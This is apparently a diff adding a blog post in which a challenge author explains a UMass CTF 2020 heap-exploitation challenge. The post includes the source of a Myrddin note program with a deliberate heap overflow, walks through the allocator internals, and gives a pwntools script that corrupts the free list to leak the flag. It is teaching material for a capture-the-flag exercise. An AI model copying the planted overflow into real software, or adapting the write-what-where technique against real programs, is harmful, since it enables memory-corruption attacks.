<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
  <use xlink:href="#glyph0-1" x="277.497" y="237.687"/>
  <use xlink:href="#glyph0-1" x="282.4783" y="237.687"/>
  <use xlink:href="#glyph0-1" x="287.4596" y="237.687"/>
  <use xlink:href="#glyph0-1" x="292.4409" y="237.687"/>
  <use xlink:href="#glyph0-1" x="297.4222" y="237.687"/>
  <use xlink:href="#glyph0-1" x="302.4035" y="237.687"/>
  <use xlink:href="#glyph0-1" x="307.3848" y="237.687"/>
  <use xlink:href="#glyph0-1" x="312.3661" y="237.687"/>
  <use xlink:href="#glyph0-1" x="317.3474" y="237.687"/>
  <use xlink:href="#glyph0-1" x="322.3287" y="237.687"/>
  <use xlink:href="#glyph0-1" x="327.31" y="237.687"/>
  <use xlink:href="#glyph0-1" x="332.2913" y="237.687"/>
  <use xlink:href="#glyph0-1" x="337.2726" y="237.687"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="237.687"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="237.687"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="237.687"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -148.819625 L 170.08225 -162.995406 L 255.121312 -162.995406 L 255.121312 -148.819625 Z M 170.08225 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip4)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -148.819625 L 255.121312 -162.995406 L 368.508031 -162.995406 L 368.508031 -148.819625 Z M 255.121312 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
</g>
</svg>

A org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org => org/UMass CTF 2020 - suckless Writeup/umass-ctf-2020-writeup.org +285 -0
@@ 0,0 1,285 @@
#+TITLE: UMass CTF 2020 - suckless Writeup
#+DATE: <2020-12-13 Sun 18:16>
#+TAGS: writeup, capture-the-flag, security, binary-exploitation, myrddin

Well, this is certainly overdue. It's the writeup for a challenge I authored for
this year's UMass CTF, which ran from /October 5th to October 12th/. Yes, I'm
late. But when you attend a university that tried very hard to squeeze the
[[https://www.umass.edu/coronavirus/news/umass-amherst-announces-fall-2020-reopening-plan-under-extensive-public-health-and-behavioral][entire semester twelve weeks]], you're going to deal with burnout and not nearly
enough time to do things outside of your coursework. So I'm finally coming back
to the challenge now that the semester's ended.

# TODO: Link to other writeups.

suckless was released on the 9th, and no one solved it. The challenge revolved
around a program, =sldiary=, which allowed the user to create "notes" which would
be saved to memory and could be recalled later. It was written in Myrddin, which
I [[http://jakob.space/blog/first-impressions-of-the-myrddin-programming-language.html][wrote about]] earlier this year. The source code for the program was provided
with the challenge, and is listed below.

#+BEGIN_SRC myrddin
use std

var flag = "You neet to hit the server for flag"
var version = "sldiary 0.1.1"
var versionptr

const intro = {
	versionptr = &version
	std.put("(\\ \n")
	std.put("\\'\\ \n")
	std.put(" \\'\\     __________  \n")
	std.put(" / '|   ()_________)\n")
	std.put(" \\ '/    \\ ~~~~~~~~ \\       {}\n", version)
	std.put("   \\       \\ ~~~~~~   \\\n")
	std.put("   ==).     \\__________\\\n")
	std.put("  (__)       ()__________)\n")
	std.put("\n")
	std.put("type 'help' for available commands\n")
}

const showver = {
	var tmp = flag
	std.put("this is {}\n", versionptr#)
}

const addmsg = {n, buf -> byte#
	var i
	var msg = std.bytealloc(n)
	for i = 0; buf[i] != ('\n' : byte); i++;
		(((msg : std.size) + i) : byte#)# = buf[i]
	;;
	-> msg
}

const msgstrconv = {n, msg
	var i
	var sb = std.mksb()
	for i = 0; i < n; i++
		std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char))
	;;
	-> std.sbfin(sb)
}

const getln = {
	var sb = std.mksb()
	var buf = std.slalloc(0x40)
	match std.read(std.In, buf)
		| `std.Ok(n):
		| `std.Err(n): std.die("i/o error")
	;;
	std.sbputs(sb, buf)
	-> std.sbfin(sb)
}

const main = {
	intro()
	var notes = std.slalloc(0)

    var line
	while true
		std.put("> ")
		line = getln()
		if std.strhas(line, "help")
			std.put("help: print this\n")
			std.put("new: make a new note\n")
			std.put("show: show all of your notes\n")
			std.put("version: show the version of sldiary\n")
		elif std.strhas(line, "new")
			std.put("note length: ")
			std.slfree(line)
			line = getln()
			var len
			match std.strfind(line, "\n")
			| `std.Some(n): line = line[:n]
			| `std.None:
			;;		
			match std.intparse(line)
			| `std.Some(n): len = n
			| `std.None: std.put("invalid length\n"); continue
			;;
			std.put("note: ")
			std.slfree(line)
			line = getln()
			var msg = addmsg(len, line)
			notes = std.slpush(&notes, (len, msg))
		elif std.strhas(line, "show")
			var i
			for i = 0; i < notes.len; i++;
				var len, msg
				(len, msg) = notes[i]
				std.put("address: {}\n", (msg : byte#))
				std.put("{}: {}\n", i, msgstrconv((len : uint64), msg))
			;;
		elif std.strhas(line, "version")
			showver()
		else
			std.put("invalid command\n")
		;;
		std.slfree(line)
	;;

	std.slfree(notes)
}
#+END_SRC

Even without being familiar with Myrddin, asking for the length of the note
before reading it in is suspicious. And, indeed, this is where the vulnerability
lies. The program reads in =len= ("note length") and =msg= ("note"), and calls
=addmsg(len, line)=, which obtains a chunk of memory as =std.bytealloc(len)= (where
=std.bytealloc= is effectively equivalent to =malloc (3)=), and fills it with the
contents of =msg= up to the first occurrence of '\n' -- the line feed character,
which indicates the end of what the user typed into the program.

So, we can corrupt the heap, but now what?

The caveat to this challenge was that the attacker would be corrupting a Myrddin
heap, not i.e. a glibc heap. So if you were going to solve this challenge, you
would need to have needed to read the source code for the Myrddin standard
library. Fortunately, this is rather easy to navigate, and =std.alloc= is written
in pure Myrddin.

For those playing along at home, the source code for Myrddin is found [[https://git.eigenstate.org/ori/mc.git][here]], and
the source code for =std.bytealloc= is contained in ~lib/std/bytealloc.myr~.

#+BEGIN_SRC myrddin
/* Allocates a blob that is 'sz' bytes long. Dies if the allocation fails */
const bytealloc = {sz
	var bkt, p

	if sz <= Bktmax
		bkt = &buckets[bktnum(sz)]
		lock(memlck)
		p = bktalloc(bkt)
		unlock(memlck)
	else
		p = bigalloc(sz)
	;;
	if trace
		lock(memlck)
		tracealloc(p, sz)
		unlock(memlck)
	;;
	-> p
}
#+END_SRC

Where the memory format of =slab= is

#+BEGIN_SRC myrddin
type slab = struct
	head	: byte#	/* head of virtual addresses, so we don't leak address space */
	next	: slab#	/* the next slab on the chain */
	prev	: slab#	/* the prev slab on the chain */
	freehd	: chunk#	/* the nodes we're allocating */
	nfree	: size	/* the number of free nodes */
	magic	: size	/* ensure we didn't index into the void */
;;
#+END_SRC

and the source for =bktalloc= is

#+BEGIN_SRC myrddin
/* 
Allocates a node from bucket 'bkt', crashing if the
allocation cannot be satisfied. Will create a new slab
if there are no slabs on the freelist.
,*/
const bktalloc = {bkt
	var s, c

	/* find a slab */
	s = bkt.slabs
	if s == Zslab
		s = mkslab(bkt)
		bkt.slabs = s
		if s == Zslab
			die("No memory left")
		;;
	;;

	/* grab the first chunk on the slab */
	c = s.freehd
	s.freehd = c.next
	s.nfree--
	if s.freehd == Zchunk
		bkt.slabs = s.next
		if s.next != Zslab
			s.next.prev = Zslab
		;;
	;;
	-> (c : byte#)
}
#+END_SRC

Below the comment reading 'grab the first chunk on the slab' is code to unlink
the head of a linked list (=freehd=). When a *slab* of memory is allocated, its
space is divided into *chunks*. Each chunk is initially a pointer to the next
chunk. When we take a chunk to satisfy an allocation request, that pointer (and
the space after it) is overwritten with user data, and the slab's "next free
chunk" (=freehd=) is updated to point at whatever the =cdr=[fn:1] of that chunk was.
It's a pretty simple heap format.

#+CAPTION: Diagram showing showing three "free" chunks surrounding one containing user data.
[[./MyrddinHeap.svg]]

Thus, when we can overwrite the =cdr= pointer, we have a write-anything-anywhere
primitive. So, why not overwrite the unusually suspect =versionptr= used in
=showver=?

#+BEGIN_SRC myrddin
const showver = {
	var tmp = flag
	std.put("this is {}\n", versionptr#)
}
#+END_SRC

If we overwrite =versionptr= to point to =flag=, we can dump the flag. So that's
exactly what we'll do.

#+BEGIN_SRC python
import struct

from pwn import *
context(arch="x86_64", os="linux")

VERSIONPTR_ADDR = 0x0042e850
FLAG_ADDR = 0x42a048

p = process(["./suckless"], False, "./suckless")

# Allocate first chunk.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline((b"A" * 16) + struct.pack("Q", VERSIONPTR_ADDR))
p.recvuntil("> ")
p.sendline("show")
p.recvuntil("address: ")
dbg = int(p.recvline(), 16)

# Allocate dummy chunk.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline((b"B" * 8))
p.recvuntil("> ")
p.sendline("show")

# Overwrite versionptr.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline(struct.pack("Q", FLAG_ADDR))
p.recvuntil("> ")
p.sendline("version")
print(p.recvuntil("> "))
#+END_SRC

[fn:1] Or =next= if you're some sort of filthy C programmer.